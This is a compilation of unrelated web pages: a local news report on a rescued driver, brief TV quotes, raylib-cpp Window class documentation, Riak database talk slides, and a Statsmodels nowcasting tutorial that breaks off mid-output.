Unconscious driver cut free from flipped car by firefighters after crash on Redheugh Bridge
Emergency services responded to a man who was trapped inside an overturned car on the bridge on Friday morning
by Kieran MurrayAn unconscious driver had to be rescued by firefighters from his flipped vehicle following a crash on the Redheugh Bridge.
Emergency services were called to the A189 in the early hours of Friday morning after a car had overturned onto its roof.
Police initially closed the southbound carriageway to traffic before closing the bridge in both directions.
The male driver had been knocked unconscious as a result of the one-vehicle collision and was trapped inside the wrecked car.
Tyne and Wear Fire and Rescue Service dispatched crews from Newcastle Central and Gateshead to the scene where firefighters used Holmatro equipment to cut him free.
He was handed into the care of paramedics who transported him to hospital for further treatment.
It is understood that he sustained non-life threatening injuries.
A North East Ambulance Service spokesman said: "We were called at 4.35am to a one-vehicle collision on the Redheugh Bridge on Friday.
"We dispatched a double-crewed ambulance and a Hazardous Area Response Team to the scene.
"One unconscious male patient was trapped in the vehicle. He was taken to the Royal Victoria Infirmary by road ambulance."
Northumbria Police confirmed the Redheugh Bridge was reopened to traffic at 6.35am.


“She walked like a partridge.”—Matthew Parris “She scuttled about like a hen.”—Jon Snow
Two quotes from Maggie And Me, shown on Channel 4 this evening.
[2013-04-08]


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raylib-cpp
C++ object-oriented wrapper library for raylib.
|
Window and Graphics Device Functions. More...
Public Member Functions | |
| Window (int width=800, int height=450, const std::string &title="raylib", bool lateInit=false) | |
| Initialize window and OpenGL context. More... | |
| ~Window () | |
| Window & | BeginDrawing () |
| Setup canvas (framebuffer) to start drawing. More... | |
| Window & | ClearState (unsigned int flag) |
| Clear window configuration state flags. More... | |
| void | Close () |
| Close window and unload OpenGL context. More... | |
| Window & | EndDrawing () |
| End canvas drawing and swap buffers (double buffering) More... | |
| int | GetFPS () const |
| Returns current FPS. More... | |
| float | GetFrameTime () const |
| Returns time in seconds for last frame drawn. More... | |
| void * | GetHandle () const |
| Get native window handle. More... | |
| int | GetHeight () const |
| Get current screen height. More... | |
| inline ::Vector2 | GetPosition () const |
| Get window position XY on monitor. More... | |
| inline ::Vector2 | GetScaleDPI () const |
| Get window scale DPI factor. More... | |
| inline ::Vector2 | GetSize () |
| Get the screen's width and height. More... | |
| double | GetTime () const |
| Returns elapsed time in seconds since InitWindow() More... | |
| int | GetWidth () const |
| Get current screen width. More... | |
| void | Init (int width=800, int height=450, const std::string &title="raylib") |
| bool | IsCursorOnScreen () const |
| Check if cursor is on the current screen. More... | |
| bool | IsFocused () const |
| Check if window is currently focused. More... | |
| bool | IsFullscreen () const |
| Check if window is currently fullscreen. More... | |
| bool | IsHidden () const |
| Check if window is currently hidden. More... | |
| bool | IsMaximized () const |
| Check if window is currently minimized. More... | |
| bool | IsMinimized () const |
| Check if window is currently minimized. More... | |
| bool | IsResized () const |
| Check if window has been resized last frame. More... | |
| bool | IsState (unsigned int flag) const |
| Check if one specific window flag is enabled. More... | |
| Window & | Maximize () |
| Set window state: maximized, if resizable (only PLATFORM_DESKTOP) More... | |
| Window & | Minimize () |
| Set window state: minimized, if resizable (only PLATFORM_DESKTOP) More... | |
| Window & | Restore () |
| Set window state: not minimized/maximized (only PLATFORM_DESKTOP) More... | |
| Window & | SetFullscreen (bool fullscreen) |
| Set whether or not the application should be fullscreen. More... | |
| Window & | SetIcon (const ::Image &image) |
| Set icon for window. More... | |
| Window & | SetMinSize (int width, int height) |
| Set window minimum dimensions. More... | |
| Window & | SetMonitor (int monitor) |
| Set monitor for the current window. More... | |
| Window & | SetPosition (const ::Vector2 &position) |
| Set window position on screen. More... | |
| Window & | SetPosition (int x, int y) |
| Set window position on screen. More... | |
| Window & | SetSize (const ::Vector2 &size) |
| Set window dimensions. More... | |
| Window & | SetSize (int width, int height) |
| Set window dimensions. More... | |
| Window & | SetState (unsigned int flag) |
| Set window configuration state using flags. More... | |
| Window & | SetTargetFPS (int fps) |
| Set target FPS (maximum) More... | |
| Window & | SetTitle (const std::string &title) |
| Set title for window. More... | |
| bool | ShouldClose () const |
| Check if KEY_ESCAPE pressed or Close icon pressed. More... | |
| Window & | ToggleFullscreen () |
| Toggle window state: fullscreen/windowed. More... | |
Static Public Member Functions | |
| static bool | IsReady () |
| Check if window has been initialized successfully. More... | |
Window and Graphics Device Functions.
Definition at line 44 of file Window.hpp.
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inline |
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inline |
Definition at line 56 of file Window.hpp.
References Close().
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inline |
Setup canvas (framebuffer) to start drawing.
Definition at line 285 of file Window.hpp.
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inline |
Clear window configuration state flags.
Definition at line 152 of file Window.hpp.
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inline |
Close window and unload OpenGL context.
Definition at line 74 of file Window.hpp.
Referenced by ~Window().
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inline |
End canvas drawing and swap buffers (double buffering)
Definition at line 293 of file Window.hpp.
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inline |
Returns current FPS.
Definition at line 337 of file Window.hpp.
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inline |
Returns time in seconds for last frame drawn.
Definition at line 344 of file Window.hpp.
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inline |
Get native window handle.
Definition at line 278 of file Window.hpp.
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inline |
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Get window position XY on monitor.
Definition at line 315 of file Window.hpp.
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inline |
Get window scale DPI factor.
Definition at line 322 of file Window.hpp.
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inline |
Get the screen's width and height.
Definition at line 271 of file Window.hpp.
References GetHeight(), and GetWidth().
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inline |
Returns elapsed time in seconds since InitWindow()
Definition at line 351 of file Window.hpp.
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inline |
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inline |
Definition at line 60 of file Window.hpp.
Referenced by Window().
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Check if cursor is on the current screen.
Definition at line 81 of file Window.hpp.
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Check if window is currently focused.
Definition at line 123 of file Window.hpp.
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Check if window is currently fullscreen.
Definition at line 95 of file Window.hpp.
Referenced by SetFullscreen().
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Check if window is currently hidden.
Definition at line 102 of file Window.hpp.
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Check if window is currently minimized.
Definition at line 116 of file Window.hpp.
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Check if window is currently minimized.
Definition at line 109 of file Window.hpp.
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inlinestatic |
Check if window has been initialized successfully.
Definition at line 88 of file Window.hpp.
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Check if window has been resized last frame.
Definition at line 130 of file Window.hpp.
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inline |
Check if one specific window flag is enabled.
Definition at line 137 of file Window.hpp.
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Set window state: maximized, if resizable (only PLATFORM_DESKTOP)
Definition at line 185 of file Window.hpp.
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Set window state: minimized, if resizable (only PLATFORM_DESKTOP)
Definition at line 193 of file Window.hpp.
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Set window state: not minimized/maximized (only PLATFORM_DESKTOP)
Definition at line 201 of file Window.hpp.
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Set whether or not the application should be fullscreen.
Definition at line 168 of file Window.hpp.
References IsFullscreen(), and ToggleFullscreen().
Set icon for window.
Definition at line 209 of file Window.hpp.
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Set window minimum dimensions.
Definition at line 248 of file Window.hpp.
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inline |
Set monitor for the current window.
Definition at line 240 of file Window.hpp.
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Set window position on screen.
Definition at line 225 of file Window.hpp.
Referenced by SetPosition().
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inline |
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Set window configuration state using flags.
Definition at line 144 of file Window.hpp.
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Set target FPS (maximum)
Definition at line 329 of file Window.hpp.
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Set title for window.
Definition at line 217 of file Window.hpp.
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inline |
Check if KEY_ESCAPE pressed or Close icon pressed.
Definition at line 67 of file Window.hpp.
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inline |
Toggle window state: fullscreen/windowed.
Definition at line 160 of file Window.hpp.
Referenced by SetFullscreen().


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@masleeds
2009 - Initial Riak preview released
2011 - 1.0 and the fight for stability
2014 - 2.0 and the fight for new markets and developer productivity
2017 - Basho into receivership, bet365 open assets
2.2.6 - 2018 - Fully Open, Simple Enhancements
2.9.0 - May 2019 - Leveled (CodeBEAM 2017)
2.9.1 - Autumn 2019 - TictacAAE (CodeBEAM 2018)
3.0 - Winter 2019/2020 - OTP 20 & Rebar3
Speed to market is king
One machine is powerful, many machines is a service
Enterprise purchases - bad measures and bad predictions
Availability and Durability are non-negotiable
Guarantees are constant through failure ...
... Operators need to eventually react
Latency is acceptable when it is predictable
Minimal decision trees, minimal operating procedures
Big but finite
Discover problems through developer reasoning
Discover problems through testing
Discover problems through a support network
Better time allocation, but ...
... Reduced capacity to reason
... Reduced access to information
Discipline - test and dialyzer
Independent assurance - Quviq as a testing service
Avoid low-reward improvements - get on track with OTP
Riak 2.2.6
Fixed a bug in cluster claim hidden by a testing bug
Node confirms (to replace pw=2)
Riak 3.0 and beyond
Tackling R16 and non-erlang code
Caused by background jobs
Caused by failure with RAID
Caused by non-homogenous hardware
Caused by query co-ordination
Caused by hot keys
A slow node < A failed node
Fails predictable latency promise - PUTs and 2i
Riak 2.9.0 - Released Today!!
Poll queues before selecting PUT co-ordinator
Allow support for n HEAD, 1 GET
50% improvement in throughput
Order of magnitude improvement in mean 2i time
Order of magnitude improvement 99th percentile PUT time
More than one cluster containing the data
Perhaps not every cluster aligns data the same way
Perhaps some clusters have only a subset of data
How do we reconcile these clusters?
... Without causing one slow node
Tictac AAE - Talk @ CodeBEAM 2018
Implemented for intra-cluster AAE in 2.9.0
Now testing inter-cluster AAE in 2.9.1
Added last-modified-date extension to feature
Sinplify/fixing real-time replication
Solr integration
Conflict-free Replicated Data Types
Strong consistency
Map-Reduce (JS, Erlang)
What is in the database?
You tell me ...
... You put it in there
How do I backup the database?
Funny you should ask ...
... A lot of people ask that question
Developer
No 3.0 retirement -> maybe Riak Nucleus
Funding shortfall for further enhancements
Operator
Operator query support in 2.9.0
Hot backups, low-amplification backups
Risk management and the power of control
Uncertainty was troubling
The day-job pushed estimation way-off the mark
Signs of Improvement - Contributors, Releases
http://martinsumner.github.io/presentations/riak_beam2019.html#/
@masleeds


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Forecasting, updating datasets, and the “news”¶
In this notebook, we describe how to use Statsmodels to compute the impacts of updated or revised datasets on out-of-sample forecasts or in-sample estimates of missing data. We follow the approach of the “Nowcasting” literature (see references at the end), by using a state space model to compute the “news” and impacts of incoming data.
Note: this notebook applies to Statsmodels v0.12+. In addition, it only applies to the state space models or related classes, which are: sm.tsa.statespace.ExponentialSmoothing
, sm.tsa.arima.ARIMA
, sm.tsa.SARIMAX
, sm.tsa.UnobservedComponents
, sm.tsa.VARMAX
, and sm.tsa.DynamicFactor
.
[1]:
%matplotlib inline
import numpy as np
import pandas as pd
import statsmodels.api as sm
import matplotlib.pyplot as plt
macrodata = sm.datasets.macrodata.load_pandas().data
macrodata.index = pd.period_range('1959Q1', '2009Q3', freq='Q')
Forecasting exercises often start with a fixed set of historical data that is used for model selection and parameter estimation. Then, the fitted selected model (or models) can be used to create out-of-sample forecasts. Most of the time, this is not the end of the story. As new data comes in, you may need to evaluate your forecast errors, possibly update your models, and create updated out-of-sample forecasts. This is sometimes called a “real-time” forecasting exercise (by contrast, a pseudo real-time exercise is one in which you simulate this procedure).
If all that matters is minimizing some loss function based on forecast errors (like MSE), then when new data comes in you may just want to completely redo model selection, parameter estimation and out-of-sample forecasting, using the updated datapoints. If you do this, your new forecasts will have changed for two reasons:
You have received new data that gives you new information
Your forecasting model or the estimated parameters are different
In this notebook, we focus on methods for isolating the first effect. The way we do this comes from the so-called “nowcasting” literature, and in particular Bańbura, Giannone, and Reichlin (2011), Bańbura and Modugno (2014), and Bańbura et al. (2014). They describe this exercise as computing the “news”, and we follow them in using this language in Statsmodels.
These methods are perhaps most useful with multivariate models, since there multiple variables may update at the same time, and it is not immediately obvious what forecast change was created by what updated variable. However, they can still be useful for thinking about forecast revisions in univariate models. We will therefore start with the simpler univariate case to explain how things work, and then move to the multivariate case afterwards.
Note on revisions: the framework that we are using is designed to decompose changes to forecasts from newly observed datapoints. It can also take into account revisions to previously published datapoints, but it does not decompose them separately. Instead, it only shows the aggregate effect of “revisions”.
Note on ``exog`` data: the framework that we are using only decomposes changes to forecasts from newly observed datapoints for modeled variables. These are the “left-hand-side” variables that in Statsmodels are given in the endog
arguments. This framework does not decompose or account for changes to unmodeled “right-hand-side” variables, like those included in the exog
argument.
Simple univariate example: AR(1)¶
We will begin with a simple autoregressive model, an AR(1):
The parameter \(\phi\) captures the persistence of the series
We will use this model to forecast inflation.
To make it simpler to describe the forecast updates in this notebook, we will work with inflation data that has been de-meaned, but it is straightforward in practice to augment the model with a mean term.
[2]:
# De-mean the inflation series
y = macrodata['infl'] - macrodata['infl'].mean()
Step 1: fitting the model on the available dataset¶
Here, we’ll simulate an out-of-sample exercise, by constructing and fitting our model using all of the data except the last five observations. We’ll assume that we haven’t observed these values yet, and then in subsequent steps we’ll add them back into the analysis.
[3]:
y_pre = y.iloc[:-5]
y_pre.plot(figsize=(15, 3), title='Inflation');
[3]:
<AxesSubplot:title={'center':'Inflation'}>
To construct forecasts, we first estimate the parameters of the model. This returns a results object that we will be able to use produce forecasts.
[4]:
mod_pre = sm.tsa.arima.ARIMA(y_pre, order=(1, 0, 0), trend='n')
res_pre = mod_pre.fit()
print(res_pre.summary())
SARIMAX Results
==============================================================================
Dep. Variable: infl No. Observations: 198
Model: ARIMA(1, 0, 0) Log Likelihood -446.407
Date: Tue, 02 Feb 2021 AIC 896.813
Time: 06:52:07 BIC 903.390
Sample: 03-31-1959 HQIC 899.475
- 06-30-2008
Covariance Type: opg
==============================================================================
coef std err z P>|z| [0.025 0.975]
------------------------------------------------------------------------------
ar.L1 0.6751 0.043 15.858 0.000 0.592 0.759
sigma2 5.3027 0.367 14.459 0.000 4.584 6.022
===================================================================================
Ljung-Box (L1) (Q): 15.65 Jarque-Bera (JB): 43.04
Prob(Q): 0.00 Prob(JB): 0.00
Heteroskedasticity (H): 0.85 Skew: 0.18
Prob(H) (two-sided): 0.50 Kurtosis: 5.26
===================================================================================
Warnings:
[1] Covariance matrix calculated using the outer product of gradients (complex-step).
Creating the forecasts from the results object res
is easy - you can just call the forecast
method with the number of forecasts you want to construct. In this case, we’ll construct four out-of-sample forecasts.
[5]:
# Compute the forecasts
forecasts_pre = res_pre.forecast(4)
# Plot the last 3 years of data and the four out-of-sample forecasts
y_pre.iloc[-12:].plot(figsize=(15, 3), label='Data', legend=True)
forecasts_pre.plot(label='Forecast', legend=True);
[5]:
<AxesSubplot:>
For the AR(1) model, it is also easy to manually construct the forecasts. Denoting the last observed variable as \(y_T\) and the \(h\)-step-ahead forecast as \(y_{T+h|T}\), we have:
Where \(\hat \phi\) is our estimated value for the AR(1) coefficient. From the summary output above, we can see that this is the first parameter of the model, which we can access from the params
attribute of the results object.
[6]:
# Get the estimated AR(1) coefficient
phi_hat = res_pre.params[0]
# Get the last observed value of the variable
y_T = y_pre.iloc[-1]
# Directly compute the forecasts at the horizons h=1,2,3,4
manual_forecasts = pd.Series([phi_hat * y_T, phi_hat**2 * y_T,
phi_hat**3 * y_T, phi_hat**4 * y_T],
index=forecasts_pre.index)
# We'll print the two to double-check that they're the same
print(pd.concat([forecasts_pre, manual_forecasts], axis=1))
predicted_mean 0
2008Q3 3.084388 3.084388
2008Q4 2.082323 2.082323
2009Q1 1.405812 1.405812
2009Q2 0.949088 0.949088
Step 2: computing the “news” from a new observation¶
Suppose that time has passed, and we have now received another observation. Our dataset is now larger, and we can evaluate our forecast error and produce updated forecasts for the subsequent quarters.
[7]:
# Get the next observation after the "pre" dataset
y_update = y.iloc[-5:-4]
# Print the forecast error
print('Forecast error: %.2f' % (y_update.iloc[0] - forecasts_pre.iloc[0]))
Forecast error: -10.21
To compute forecasts based on our updated dataset, we will create an updated results object res_post
using the append
method, to append on our new observation to the previous dataset.
Note that by default, the append
method does not re-estimate the parameters of the model. This is exactly what we want here, since we want to isolate the effect on the forecasts of the new information only.
[8]:
# Create a new results object by passing the new observations to the `append` method
res_post = res_pre.append(y_update)
# Since we now know the value for 2008Q3, we will only use `res_post` to
# produce forecasts for 2008Q4 through 2009Q2
forecasts_post = pd.concat([y_update, res_post.forecast('2009Q2')])
print(forecasts_post)
2008Q3 -7.121330
2008Q4 -4.807732
2009Q1 -3.245783
2009Q2 -2.191284
Freq: Q-DEC, dtype: float64
In this case, the forecast error is quite large - inflation was more than 10 percentage points below the AR(1) models’ forecast. (This was largely because of large swings in oil prices around the global financial crisis).
To analyse this in more depth, we can use Statsmodels to isolate the effect of the new information - or the “news” - on our forecasts. This means that we do not yet want to change our model or re-estimate the parameters. Instead, we will use the news
method that is available in the results objects of state space models.
Computing the news in Statsmodels always requires a previous results object or dataset, and an updated results object or dataset. Here we will use the original results object res_pre
as the previous results and the res_post
results object that we just created as the updated results.
Once we have previous and updated results objects or datasets, we can compute the news by calling the news
method. Here, we will call res_pre.news
, and the first argument will be the updated results, res_post
(however, if you have two results objects, the news
method could can be called on either one).
In addition to specifying the comparison object or dataset as the first argument, there are a variety of other arguments that are accepted. The most important specify the “impact periods” that you want to consider. These “impact periods” correspond to the forecasted periods of interest; i.e. these dates specify with periods will have forecast revisions decomposed.
To specify the impact periods, you must pass two of start
, end
, and periods
(similar to the Pandas date_range
method). If your time series was a Pandas object with an associated date or period index, then you can pass dates as values for start
and end
, as we do below.
[9]:
# Compute the impact of the news on the four periods that we previously
# forecasted: 2008Q3 through 2009Q2
news = res_pre.news(res_post, start='2008Q3', end='2009Q2')
# Note: one alternative way to specify these impact dates is
# `start='2008Q3', periods=4`
The variable news
is an object of the class NewsResults
, and it contains details about the updates to the data in res_post
compared to res_pre
, the new information in the updated dataset, and the impact that the new information had on the forecasts in the period between start
and end
.
One easy way to summarize the results are with the summary
method.
[10]:
print(news.summary())
News
==============================================================================
Model: ARIMA Original sample: 1959Q1
Date: Tue, 02 Feb 2021 - 2008Q2
Time: 06:52:07 Update through: 2008Q3
No. Revisions: 0
No. New datapoints: 1
Impacts for [impacted variable = infl]
=========================================================
impact date estimate (prev) impact of news estimate (new)
---------------------------------------------------------
2008Q3 3.08 -10.21 -7.12
2008Q4 2.08 -6.89 -4.81
2009Q1 1.41 -4.65 -3.25
2009Q2 0.95 -3.14 -2.19
News from updated observations:
===================================================================
update date updated variable observed forecast (prev) news
-------------------------------------------------------------------
2008Q3 infl -7.12 3.08 -10.21
Details for [updated variable = infl, impacted variable = infl]
=====================================================================================
update date observed forecast (prev) impact date news weight impact
-------------------------------------------------------------------------------------
2008Q3 -7.12 3.08 2008Q3 -10.21 1.0 -10.21
2008Q4 -10.21 0.68 -6.89
2009Q1 -10.21 0.46 -4.65
2009Q2 -10.21 0.31 -3.14
=====================================================================================
Summary output: the default summary for this news results object printed four tables:
Summary of the model and datasets
Details of the news from updated data
Summary of the impacts of the new information on the forecasts between
start='2008Q3'
andend='2009Q2'
Details of how the updated data led to the impacts on the forecasts between
start='2008Q3'
andend='2009Q2'
These are described in more detail below.
Notes:
There are a number of arguments that can be passed to the
summary
method to control this output. Check the documentation / docstring for details.Table (4), showing details of the updates and impacts, can become quite large if the model is multivariate, there are multiple updates, or a large number of impact dates are selected. It is only shown by default for univariate models.
First table: summary of the model and datasets
The first table, above, shows:
The type of model from which the forecasts were made. Here this is an ARIMA model, since an AR(1) is a special case of an ARIMA(p,d,q) model.
The date and time at which the analysis was computed.
The original sample period, which here corresponds to
y_pre
The endpoint of the updated sample period, which here is the last date in
y_post
Second table: the news from updated data
This table simply shows the forecasts from the previous results for observations that were updated in the updated sample.
Notes:
Our updated dataset
y_post
did not contain any revisions to previously observed datapoints. If it had, there would be an additional table showing the previous and updated values of each such revision.
Third table: summary of the impacts of the new information
Columns:
The third table, above, shows:
The previous forecast for each of the impact dates, in the “estimate (prev)” column
The impact that the new information (the “news”) had on the forecasts for each of the impact dates, in the “impact of news” column
The updated forecast for each of the impact dates, in the “estimate (new)” column
Notes:
In multivariate models, this table contains additional columns describing the relevant impacted variable for each row.
Our updated dataset
y_post
did not contain any revisions to previously observed datapoints. If it had, there would be additional columns in this table showing the impact of those revisions on the forecasts for the impact dates.Note that
estimate (new) = estimate (prev) + impact of news
This table can be accessed independently using the
summary_impacts
method.
In our example:
Notice that in our example, the table shows the values that we computed earlier:
The “estimate (prev)” column is identical to the forecasts from our previous model, contained in the
forecasts_pre
variable.The “estimate (new)” column is identical to our
forecasts_post
variable, which contains the observed value for 2008Q3 and the forecasts from the updated model for 2008Q4 - 2009Q2.
Fourth table: details of updates and their impacts
The fourth table, above, shows how each new observation translated into specific impacts at each impact date.
Columns:
The first three columns table described the relevant update (an “updated” is a new observation):
The first column (“update date”) shows the date of the variable that was updated.
The second column (“forecast (prev)”) shows the value that would have been forecasted for the update variable at the update date based on the previous results / dataset.
The third column (“observed”) shows the actual observed value of that updated variable / update date in the updated results / dataset.
The last four columns described the impact of a given update (an impact is a changed forecast within the “impact periods”).
The fourth column (“impact date”) gives the date at which the given update made an impact.
The fifth column (“news”) shows the “news” associated with the given update (this is the same for each impact of a given update, but is just not sparsified by default)
The sixth column (“weight”) describes the weight that the “news” from the given update has on the impacted variable at the impact date. In general, weights will be different between each “updated variable” / “update date” / “impacted variable” / “impact date” combination.
The seventh column (“impact”) shows the impact that the given update had on the given “impacted variable” / “impact date”.
Notes:
In multivariate models, this table contains additional columns to show the relevant variable that was updated and variable that was impacted for each row. Here, there is only one variable (“infl”), so those columns are suppressed to save space.
By default, the updates in this table are “sparsified” with blanks, to avoid repeating the same values for “update date”, “forecast (prev)”, and “observed” for each row of the table. This behavior can be overridden using the
sparsify
argument.Note that
impact = news * weight
.This table can be accessed independently using the
summary_details
method.
In our example:
For the update to 2008Q3 and impact date 2008Q3, the weight is equal to 1. This is because we only have one variable, and once we have incorporated the data for 2008Q3, there is no no remaining ambiguity about the “forecast” for this date. Thus all of the “news” about this variable at 2008Q3 passes through to the “forecast” directly.
Addendum: manually computing the news, weights, and impacts¶
For this simple example with a univariate model, it is straightforward to compute all of the values shown above by hand. First, recall the formula for forecasting \(y_{T+h|T} = \phi^h y_T\), and note that it follows that we also have \(y_{T+h|T+1} = \phi^h y_{T+1}\). Finally, note that \(y_{T|T+1} = y_T\), because if we know the value of the observations through \(T+1\), we know the value of \(y_T\).
News: The “news” is nothing more than the forecast error associated with one of the new observations. So the news associated with observation \(T+1\) is:
Impacts: The impact of the news is the difference between the updated and previous forecasts, \(i_h \equiv y_{T+h|T+1} - y_{T+h|T}\).
The previous forecasts for \(h=1, \dots, 4\) are: \(\begin{pmatrix} \phi y_T & \phi^2 y_T & \phi^3 y_T & \phi^4 y_T \end{pmatrix}'\).
The updated forecasts for \(h=1, \dots, 4\) are: \(\begin{pmatrix} y_{T+1} & \phi y_{T+1} & \phi^2 y_{T+1} & \phi^3 y_{T+1} \end{pmatrix}'\).
The impacts are therefore:
Weights: To compute the weights, we just need to note that it is immediate that we can rewrite the impacts in terms of the forecast errors, \(n_{T+1}\).
The weights are then simply \(w = \begin{pmatrix} 1 \\ \phi \\ \phi^2 \\ \phi^3 \end{pmatrix}\)
We can check that this is what the news
method has computed.
[11]:
# Print the news, computed by the `news` method
print(news.news)
# Manually compute the news
print()
print((y_update.iloc[0] - phi_hat * y_pre.iloc[-1]).round(6))
update date updated variable
2008Q3 infl -10.205718
Name: news, dtype: float64
-10.205718
[12]:
# Print the total impacts, computed by the `news` method
# (Note: news.total_impacts = news.revision_impacts + news.update_impacts, but
# here there are no data revisions, so total and update impacts are the same)
print(news.total_impacts)
# Manually compute the impacts
print()
print(forecasts_post - forecasts_pre)
infl
2008Q3 -10.205718
2008Q4 -6.890055
2009Q1 -4.651595
2009Q2 -3.140371
2008Q3 -10.205718
2008Q4 -6.890055
2009Q1 -4.651595
2009Q2 -3.140371
Freq: Q-DEC, dtype: float64
[13]:
# Print the weights, computed by the `news` method
print(news.weights)
# Manually compute the weights
print()
print(np.array([1, phi_hat, phi_hat**2, phi_hat**3]).round(6))
impact date 2008Q3 2008Q4 2009Q1 2009Q2
impacted variable infl infl infl infl
update date updated variable
2008Q3 infl 1.0 0.675117 0.455783 0.307707
[1. 0.675117 0.455783 0.307707]
Multivariate example: dynamic factor¶
In this example, we’ll consider forecasting monthly core price inflation based on the Personal Consumption Expenditures (PCE) price index and the Consumer Price Index (CPI), using a Dynamic Factor model. Both of these measures track prices in the US economy and are based on similar source data, but they have a number of definitional differences. Nonetheless, they track each other relatively well, so modeling them jointly using a single dynamic factor seems reasonable.
One reason that this kind of approach can be useful is that the CPI is released earlier in the month than the PCE. One the CPI is released, therefore, we can update our dynamic factor model with that additional datapoint, and obtain an improved forecast for that month’s PCE release. A more involved version of this kind of analysis is available in Knotek and Zaman (2017).
We start by downloading the core CPI and PCE price index data from FRED, converting them to annualized monthly inflation rates, removing two outliers, and de-meaning each series (the dynamic factor model does not
[14]:
import pandas_datareader as pdr
levels = pdr.get_data_fred(['PCEPILFE', 'CPILFESL'], start='1999', end='2019').to_period('M')
infl = np.log(levels).diff().iloc[1:] * 1200
infl.columns = ['PCE', 'CPI']
# Remove two outliers and de-mean the series
infl['PCE'].loc['2001-09':'2001-10'] = np.nan
To show how this works, we’ll imagine that it is April 14, 2017, which is the data of the March 2017 CPI release. So that we can show the effect of multiple updates at once, we’ll assume that we haven’t updated our data since the end of January, so that:
Our previous dataset will consist of all values for the PCE and CPI through January 2017
Our updated dataset will additionally incorporate the CPI for February and March 2017 and the PCE data for February 2017. But it will not yet the PCE (the March 2017 PCE price index was not released until May 1, 2017).
[15]:
# Previous dataset runs through 2017-02
y_pre = infl.loc[:'2017-01'].copy()
const_pre = np.ones(len(y_pre))
print(y_pre.tail())
PCE CPI
DATE
2016-09 1.149555 1.631931
2016-10 1.879740 1.730896
2016-11 0.730840 2.089176
2016-12 1.550156 2.195968
2017-01 3.083120 2.685434
[16]:
# For the updated dataset, we'll just add in the
# CPI value for 2017-03
y_post = infl.loc[:'2017-03'].copy()
y_post.loc['2017-03', 'PCE'] = np.nan
const_post = np.ones(len(y_post))
# Notice the missing value for PCE in 2017-03
print(y_post.tail())
PCE CPI
DATE
2016-11 0.730840 2.089176
2016-12 1.550156 2.195968
2017-01 3.083120 2.685434
2017-02 1.790177 2.239655
2017-03 NaN -0.444727
We chose this particular example because in March 2017, core CPI prices fell for the first time since 2010, and this information may be useful in forecast core PCE prices for that month. The graph below shows the CPI and PCE price data as it would have been observed on April 14th\(^\dagger\).
\(\dagger\) This statement is not entirely true, because both the CPI and PCE price indexes can be revised to a certain extent after the fact. As a result, the series that we’re pulling are not exactly like those observed on April 14, 2017. This could be fixed by pulling the archived data from ALFRED instead of FRED, but the data we have is good enough for this tutorial.
[17]:
# Plot the updated dataset
fig, ax = plt.subplots(figsize=(15, 3))
y_post.plot(ax=ax)
ax.hlines(0, '2009', '2017-06', linewidth=1.0)
ax.set_xlim('2009', '2017-06');
[17]:
(468.0, 569.0)
To perform the exercise, we first construct and fit a DynamicFactor
model. Specifically:
We are using a single dynamic factor (
k_factors=1
)We are modeling the factor’s dynamics with an AR(6) model (
factor_order=6
)We have included a vector of ones as an exogenous variable (
exog=const_pre
), because the inflation series we are working with are not mean-zero.
[18]:
mod_pre = sm.tsa.DynamicFactor(y_pre, exog=const_pre, k_factors=1, factor_order=6)
res_pre = mod_pre.fit()
print(res_pre.summary())
Statespace Model Results
=============================================================================================
Dep. Variable: ['PCE', 'CPI'] No. Observations: 216
Model: DynamicFactor(factors=1, order=6) Log Likelihood -514.952
+ 1 regressors AIC 1053.905
Date: Tue, 02 Feb 2021 BIC 1094.408
Time: 06:52:12 HQIC 1070.268
Sample: 02-28-1999
- 01-31-2017
Covariance Type: opg
===================================================================================
Ljung-Box (L1) (Q): 2.13, 0.35 Jarque-Bera (JB): 17.17, 6.27
Prob(Q): 0.14, 0.55 Prob(JB): 0.00, 0.04
Heteroskedasticity (H): 0.56, 0.47 Skew: 0.46, -0.07
Prob(H) (two-sided): 0.01, 0.00 Kurtosis: 4.03, 3.82
Results for equation PCE
==============================================================================
coef std err z P>|z| [0.025 0.975]
------------------------------------------------------------------------------
loading.f1 0.5369 0.066 8.180 0.000 0.408 0.666
beta.const 1.6977 0.095 17.898 0.000 1.512 1.884
Results for equation CPI
==============================================================================
coef std err z P>|z| [0.025 0.975]
------------------------------------------------------------------------------
loading.f1 0.9004 0.100 9.005 0.000 0.704 1.096
beta.const 1.9646 0.137 14.387 0.000 1.697 2.232
Results for factor equation f1
==============================================================================
coef std err z P>|z| [0.025 0.975]
------------------------------------------------------------------------------
L1.f1 0.1187 0.068 1.738 0.082 -0.015 0.253
L2.f1 0.1843 0.072 2.555 0.011 0.043 0.326
L3.f1 0.0280 0.073 0.386 0.700 -0.114 0.170
L4.f1 -0.0743 0.078 -0.954 0.340 -0.227 0.078
L5.f1 0.1482 0.067 2.225 0.026 0.018 0.279
L6.f1 0.1470 0.075 1.971 0.049 0.001 0.293
Error covariance matrix
==============================================================================
coef std err z P>|z| [0.025 0.975]
------------------------------------------------------------------------------
sigma2.PCE 0.5067 0.061 8.257 0.000 0.386 0.627
sigma2.CPI 2.927e-09 0.142 2.06e-08 1.000 -0.278 0.278
==============================================================================
Warnings:
[1] Covariance matrix calculated using the outer product of gradients (complex-step).
With the fitted model in hand, we now construct the news and impacts associated with observing the CPI for March 2017. The updated data is for February 2017 and part of March 2017, and we’ll examining the impacts on both March and April.
In the univariate example, we first created an updated results object, and then passed that to the news
method. Here, we’re creating the news by directly passing the updated dataset.
Notice that:
y_post
contains the entire updated dataset (not just the new datapoints)We also had to pass an updated
exog
array. This array must cover both:The entire period associated with
y_post
Any additional datapoints after the end of
y_post
through the last impact date, specified byend
Here, y_post
ends in March 2017, so we needed our exog
to extend one more period, to April 2017.
[19]:
# Create the news results
# Note
const_post_plus1 = np.ones(len(y_post) + 1)
news = res_pre.news(y_post, exog=const_post_plus1, start='2017-03', end='2017-04')
Note:
In the univariate example, above, we first constructed a new results object, and then passed that to the
news
method. We could have done that here too, although there is an extra step required. Since we are requesting an impact for a period beyond the end ofy_post
, we would still need to pass the additional value for theexog
variable during that period tonews
:res_post = res_pre.apply(y_post, exog=const_post) news = res_pre.news(res_post, exog=[1.], start='2017-03', end='2017-04')
Now that we have computed the news
, printing summary
is a convenient way to see the results.
[20]:
# Show the summary of the news results
print(news.summary())
News
==============================================================================
Model: DynamicFactor Original sample: 1999-02
Date: Tue, 02 Feb 2021 - 2017-01
Time: 06:52:12 Update through: 2017-04
No. Revisions: 0
No. New datapoints: 3
Impacts
===========================================================================
impact date impacted variable estimate (prev) impact of news estimate (new)
---------------------------------------------------------------------------
2017-03 CPI 2.04 -2.48 -0.44
